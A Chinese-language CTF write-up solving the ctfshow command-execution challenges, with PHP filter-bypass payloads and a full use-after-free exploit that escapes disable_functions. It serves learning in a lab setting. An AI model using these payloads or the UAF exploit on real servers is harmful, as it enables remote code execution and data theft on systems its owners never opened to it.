ctfshow命令执行
命令执行
参考链接:
web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
参数过滤的多,利用文件包含
include不用括号,分号可以用?>代替,php最后一句代码不需要分号。
payload:
include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
web37
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
有文件包含的函数,用伪协议
include //只生成警告(E_WARNING),并且脚本会继续
require //require 会生成致命错误(E_COMPILE_ERROR)并停止脚本
include_once
require_once 等
payload:
data://text/plain,<?php passthru('cat fl*');?>
web38
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了php字符,使用base64编码就可以了
data://text/plain;base64,PD9waHAgcGFzc3RocnUoJ2NhdCBmbConKTs/Pg==
php短标签
当过滤了php时,我们可以将<?php ?> 换成<?= ?>,代表<?php echo..?>
data://text/plain,<?= passthru('cat fl*');?>
web39
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
继续使用data协议
payload:
data://text/plain,<?php passthru('cat fl*');?>
前面的php语句已经闭合,所以后面的.php会被当作html输出到页面

web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
get_defined_vars()返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量
next()将内部指针指向数组中的下一个元素,并输出。
array_pop()函数删除数组中的最后一个元素并返回其值
array_flip()函数用于反转/交换数组中所有的键名以及它们关联的键值
array_rand()函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
这个题他过滤的是中文括号不是英文的括号,我们可以利用函数进行执行命令
payload:
eval(array_rand(array_filp(next(get_defined_vars()))));
//可以用print_r打印出,返回的命令
print_r(array_pop(next(get_defined_vars())));
eval(array_pop(next(get_defined_vars())));
web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
数字,字母都被过滤了,还过滤了$ ^ + ~自增异或取反都不能用,但这题可以用或
大佬博客,直接用大佬的脚本

web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 黑洞,所有内容输入到该文件都会丢失。
payload:
cat flag.php;ls 让ls的输出丢失,前面命令正常执行
cat flag.php%0a 进行截断,%26,||
web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
他没有过滤$可以进行空格绕过,虽然它过滤了很多命令,我们可以进行转义符绕过
payload:
ta\c${IFS}fl\ag.php
ta''c${IFS}fl''ag.php
mv${IFS}fl\ag.php${IFS}a
web55-56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了大小写字母,我们可以用通配符代替
姿势一:
利用bin目录
/bin/base64 flag.php 利用base64读取文件
payload:
/???/????64 ????.???
姿势二:
.点符号可以执行sh命令(不需要权限)
思路:
我们通过POST上传临时文件,然后用.执行临时文件的命令,达到rce的目的
这个文件一般在linux里的/tmp/php??????,最后一个字符是大写,其余是随机大小写
POST上传文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://8ae02e84-f005-4cd9-94e8-521eed9aebc6.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
抓包传参
?c=.+/???/????????[@-[]
[@-[]是所有大写字母,看ascll码表

文件内容是sh命令
#!/bin/sh
tac flag.php

web57
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
构造数字36就行了,利用了$(( ))与整数运算
[root@localhost~]# echo $((1+1))
2
[root@localhost ~]# echo $(())
0
[root@localhost ~]# echo ~$(())
~0
[root@localhost ~]# echo $((~$(())))
-1

我们要构造36,可以先进行造-37
-37
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
36
$((~$(($(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))))
有点眼花
disable_functions
web58
</php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload:
读取文件路径
print_r(scandir(dirname('__FILE__')));
var_dump(scandir('./'));
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} //glob协议
$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
$a=scandir('./');foreach($a as $value){echo $value." ";}
读取文件内容
show_source("flag.php");
highlight_file("flag.php");
echo file_get_contents("flag.php");
var_dump(file("flag.php")); //file将整个文件读入数组
web59-65
这些题flag都在当前目录下,先查看文件路径
print_r(scandir('./'));
然后读取文件内容
highlight_file("flag.php");
web66-67
var_dump(scandir('/'))
发现flag在根目录,flag.txt
直接包含就行了
//下面是payload
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web68-70
highlight_file()被禁了
还是先看目录
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
payload:
include('/flag.txt')等
web71
给了源码
<?php
error_reporting(0); //关闭了所有的错误显示
ini_set('display_errors', 0); //将这个配置项设置为0,表示不在网页上显示报错
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
知识点
ob_get_contents — 返回输出缓冲区的内容,只是得到输出缓冲区的内容,但不清除它。
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
<?php
ob_start();
echo "Hello ";
$out1 = ob_get_contents(); //Hello
echo "World";
$out2 = ob_get_contents(); //Hello World
ob_end_clean();
var_dump($out1, $out2);
?>
输出:
string(6) "Hello "
string(11) "Hello World"
这里将输出缓存区的内容给清除了,我们可以在想执行代码的后面加上exit()和die(),退出代码,不执行后面的代码
payload:
include('/flag.txt');exit();
include('/flag.txt');die();
web72
一样的源码
open_basedir 是php.ini 中的 一个配置选项。可以用作与 将用户访问文件的活动范围限制在指定的区域
例如:open_basedir=/var/www/html:/tmp/,就不能获取这两个目录以外的文件

用uaf脚本命令执行poc,要url编码
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
web73
查看目录
$a=scandir('/');foreach($a as $value){echo $value." ";}exit();
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
//DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
查看文件
include("/flagc.txt");exit();
web74
payload:
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
$a=new DirectoryIterator("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();
//这里不用glob协议,因为这题无open_basedir限制
//DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
web77
扫描目录
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
发现有一个flag36x.txt,还有一个readflag文件
这里涉及到FFI扩展,参考
payload:
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
访问1.txt即可